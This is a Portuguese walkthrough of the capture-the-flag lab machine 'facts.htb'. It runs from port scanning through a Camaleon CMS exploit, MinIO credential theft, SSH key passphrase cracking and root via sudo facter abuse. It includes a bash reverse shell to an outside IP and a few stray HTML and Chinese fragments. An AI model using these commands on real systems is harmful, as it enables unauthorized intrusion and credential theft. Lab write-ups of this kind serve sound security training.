Enumeração Inicial
Executando scanning de portas com nmap:
# Nmap 7.95 scan initiated Sat Feb 7 10:38:08 2026 as: nmap -sS -Pn -p- -oN portscan-all.nmap 10.129.25.18
Nmap scan report for 10.129.25.18
Host is up (0.085s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
54321/tcp open unknown
# Nmap done at Sat Feb 7 10:38:40 2026 -- 1 IP address (1 host up) scanned in 31.28 seconds
Verificando versões dos serviços:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.26.3 (Ubuntu)
54321/tcp open http Golang net/http server
O serviço na porta 54321 também responde HTTP. Analisando o fingerprinting, identifica-se como MinIO, um serviço de armazenamento de objetos compatível com S3.
Análise do Website
Acessando a porta 80 (facts.htb), não encontrei informações relevantes através de navegação manual. Utilizando gobuster para枚举目录:
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://facts.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: wordlist-custom.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/robots.txt (Status: 200) [Size: 99]
/index.phps (Status: 200) [Size: 11128]
/.git/ (Status: 200) [Size: 11113]
/admin.php (Status: 302) [Size: 0] [--> http://facts.htb/admin/login]
/admin/login.asp (Status: 200) [Size: 3908]
/.accdb (Status: 200) [Size: 11116]
/.ackrc (Status: 200) [Size: 11116]
Encontrado painel administrativo em http://facts.htb/admin. Após criar conta e acessar o dashboard, identifiquei:
Camaleon CMS - Versão 2.9.0
Descoberta de Vulnerabilidade
Pesquisnado vulnerabilidades para Camaleon CMS 2.9.0, encontrei CVE-2025-2304, que permite escalação de privilégios de usuário comum para administrador.
Exploração
Executando o exploit disponível:
python3 exploit.py -u http://facts.htb -U san -P 123456
Após execução, a senha do usuário é redefinida para "test". Realizando login novamente, agora com privilégios administrativos.
Coleta de Credenciais AWS
No painel administrativo, localizei configurações de storage AWS S3:
AWS Access Key ID: minioadmin
AWS Secret Access Key: minioadmin
Region: us-east-1
Bucket Endpoint: http://10.129.25.18:54321
Interessante: o endpoint S3 está na porta local 54321, a mesma identificada no scan inicial.
Acesso ao Storage S3
Utilizando ferramenta S3 Browser, configurei conexão com as credenciais obtidas (desmarcando SSL/TLS pois a porta 54321 não utiliza certificado).
No bucket, encontrei chave privada SSH:
id_ed25519
Esta chave utiliza algoritmo ED25519 (curva elíptica), diferente do RSA (id_rsa).
Identificação de Usuário
Com a chave privada em mãos, preciso identificar qual usuário pode utilizar SSH. Continuando a análise no bucket, não encontrei informações de usuário.
Pesquisando vulnerabilidades adicionais no Camaleon CMS, encontrei (GHSL-2024-182 a GHSL-2024-186) documentando múltiplas vulnerabilidades incluindo RCE e File Read.
Explorando a vulnerabilidade de leitura de arquivos (CVE-2024-46986), obtive /etc/passwd:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false
Dois usuários locais disponíveis: trivia e william. Testando combinações com a chave privada.
SSH com Chave Privada
ssh -i id_ed25519 trivia@10.129.25.18
O sistema solicita passphrase. Isso indica que a chave possui proteção por senha.
Quebrando Passphrase
Utilizando john para quebrar a passphrase:
ssh2john id_ed25519 > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dragonballz (id_ed25519)
1g 0:00:02:04 DONE (2026-02-14 09:53) 0.008035g/s 25.71p/s 25.71c/s 25.71C/s grecia..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Nota: Versões mais antigas do john (Kali 2021) falharam neste cracking, enquanto Kali 2024 conseguiu com sucesso.
Com a passphrase "dragonballz", agora é possível acesso SSH como usuário trivia.
Escalação de Privilégios
Verificando comandos privilegiados:
sudo -l
Matching Defaults entries for trivia on facts: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty
User trivia may run the following commands on facts: (ALL) NOPASSWD: /usr/bin/facter
<p>O comando facter é um coletor de informações do sistema. Executando:</p>
<code>facter
disks => {
sda => {
model => "Virtual disk",
size => "10.00 GiB",
type => "ssd",
vendor => "VMware"
}
}
dmi => {
bios => {
release_date => "11/12/2020",
vendor => "Phoenix Technologies LTD"
}
}
</code>
<h3>Tentativa 1: facter com FACTERLIB</h3>
<p>Seguindo documentação do gtfobins:</p>
<code>TF=$(mktemp -d)
echo 'exec("/bin/sh")' > $TF/x.rb
sudo FACTERLIB=$TF facter
</code>
<p>Falhou: o sudo reseta variáveis de ambiente (env_reset), então FACTERLIB não é passado.</p>
<h3>Tentativa 2: facter com --custom-dir</h3>
<p>Analisando documentação do facter, descobri que soporta facts customizados via diretórios externos:</p>
--custom-dir: executa scripts Ruby do diretório--external-dir: executa scripts shell ou arquivos JSON/txt
Utilizando --custom-dir:
mkdir /tmp/custom
echo 'exec "/bin/sh"' > /tmp/custom/x.rb
sudo facter --custom-dir /tmp/custom
Sucesso! Obtendo shell root.
Tentativa Alternativa: facter com --external-dir
mkdir /tmp/my
echo 'bash -c "bash -i >&/dev/tcp/10.10.16.7/2333 0>&1"' > /tmp/my/env.sh
chmod +x /tmp/my/env.sh
sudo facter --external-dir /tmp/my
Também funciona para obter shell reverso.
Problemas Encontrados
Ao tentar escalação com --external-dir utilizando técnica de SUID:
# Tentativa de adicionar suid bit
cp /bin/dash /tmp/sh
chmod +s /tmp/sh
/tmp/sh -p
Falha: quando executa dash, o EUID não corresponde ao UID real, o shell é degradado. Mesmo utilizando opção -p (preserve environment), não mantém privilégios root.
Provavelmente Ubuntu 25 implementou restrições de segurança mais rigorosas para este vetor.